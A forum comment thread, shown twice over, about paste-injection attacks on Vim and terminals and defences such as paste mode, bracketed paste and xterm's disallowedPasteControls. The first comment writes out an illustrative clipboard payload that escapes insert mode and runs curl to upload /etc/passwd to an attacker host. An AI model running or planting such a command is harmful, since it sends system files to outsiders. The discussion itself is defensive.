4 ms·

I am waiting for a Vim exploit in a similar way.. I map insert mode jj and kk to escape to leave insert mode. Sometimes I paste text in insert mode and it's int

I am waiting for a Vim exploit in a similar way.. I map insert mode jj and kk to escape to leave insert mode. Sometimes I paste text in insert mode and it's interpreted literally in Vim, so I am waiting for some exploit like modifying a clipboard to be like: > regular-text-is-herejj:! curl -F 'pw=@/etc/passwd' attacker.dev/upload.php

bqmjjx0kac 3y ago
I wonder if `:set paste` would mitigate this attack. This page would probably answer my question if I understood it: https://vimdoc.sourceforge.net/htmldoc/options.html#'paste' https://vimdoc.sourceforge.net/htmldoc/options.html#'paste' Edit: this does seem to imply that `jj` in insert mode would be disabled by enabling paste. > mapping in Insert mode and Command-line mode is disabled
- mortallywounded 3y ago
  I have a binding to toggle paste mode. It would prevent the attack, but it also disabled jj/kk insert mode bindings... I do try to use the toggle before pasting, but I'm human and often forget.
  - db48x 3y ago
    Bracketed paste mode!!!1! Seriously, it’s the only safe way to paste into a terminal. When you initiate a paste your terminal emulator sends a control sequence that tells the program that a paste is happening so that it won’t interpret any of it as anything but text to be inserted. It’s completely automatic. And your terminal emulator supports it! So does vim! It’s only be available in xterm for 21 or so years, so I guess it’s not _that_ surprising to find that people still don’t know about it.
    - dgl 3y ago
      (Author of the original paper here.) Bracketed paste mode is good and ideally it just works(tm) and therefore people don't need to know about it. It does just work in recent versions bash (readline) and Zsh. Unfortunately there is still poor handling of it in some terminals. I posted[1] yesterday on oss-security that ^C for example can be placed on the clipboard and may end bracketed paste mode in some circumstances. For xterm that can be mitigated by adding "ETX" to disallowedPasteControls[2]: disallowedPasteControls: BS,DEL,ENQ,EOT,ETX,ESC,NUL That still isn't enough (e.g. ^\ or ^Z can be used too in some contexts). Other terminals are looking at this currently (e.g. kitty[3]). I suspect there will be some other patches coming out. [1]: https://www.openwall.com/lists/oss-security/2023/10/20/2 https://www.openwall.com/lists/oss-security/2023/10/20/2 [2]: https://www.openwall.com/lists/oss-security/2023/10/20/4 https://www.openwall.com/lists/oss-security/2023/10/20/4 [3]: https://github.com/kovidgoyal/kitty/commit/defa2e29ac1eacd130fcffa300d9be8f6e76ddfc https://github.com/kovidgoyal/kitty/commit/defa2e29ac1eacd13...
      - db48x 3y ago
        And of course the kernel immediately handles the ^C as if it were typed, if the terminal is in cooked mode. Fun. At least that doesn’t work inside of a proper editor.

bqmjjx0kac 3y ago

I wonder if `:set paste` would mitigate this attack. This page would probably answer my question if I understood it: https://vimdoc.sourceforge.net/htmldoc/options.html#'paste' https://vimdoc.sourceforge.net/htmldoc/options.html#'paste' Edit: this does seem to imply that `jj` in insert mode would be disabled by enabling paste. > mapping in Insert mode and Command-line mode is disabled

mortallywounded 3y ago
I have a binding to toggle paste mode. It would prevent the attack, but it also disabled jj/kk insert mode bindings... I do try to use the toggle before pasting, but I'm human and often forget.
- db48x 3y ago
  Bracketed paste mode!!!1! Seriously, it’s the only safe way to paste into a terminal. When you initiate a paste your terminal emulator sends a control sequence that tells the program that a paste is happening so that it won’t interpret any of it as anything but text to be inserted. It’s completely automatic. And your terminal emulator supports it! So does vim! It’s only be available in xterm for 21 or so years, so I guess it’s not _that_ surprising to find that people still don’t know about it.
  - dgl 3y ago
    (Author of the original paper here.) Bracketed paste mode is good and ideally it just works(tm) and therefore people don't need to know about it. It does just work in recent versions bash (readline) and Zsh. Unfortunately there is still poor handling of it in some terminals. I posted[1] yesterday on oss-security that ^C for example can be placed on the clipboard and may end bracketed paste mode in some circumstances. For xterm that can be mitigated by adding "ETX" to disallowedPasteControls[2]: disallowedPasteControls: BS,DEL,ENQ,EOT,ETX,ESC,NUL That still isn't enough (e.g. ^\ or ^Z can be used too in some contexts). Other terminals are looking at this currently (e.g. kitty[3]). I suspect there will be some other patches coming out. [1]: https://www.openwall.com/lists/oss-security/2023/10/20/2 https://www.openwall.com/lists/oss-security/2023/10/20/2 [2]: https://www.openwall.com/lists/oss-security/2023/10/20/4 https://www.openwall.com/lists/oss-security/2023/10/20/4 [3]: https://github.com/kovidgoyal/kitty/commit/defa2e29ac1eacd130fcffa300d9be8f6e76ddfc https://github.com/kovidgoyal/kitty/commit/defa2e29ac1eacd13...
    - db48x 3y ago
      And of course the kernel immediately handles the ^C as if it were typed, if the terminal is in cooked mode. Fun. At least that doesn’t work inside of a proper editor.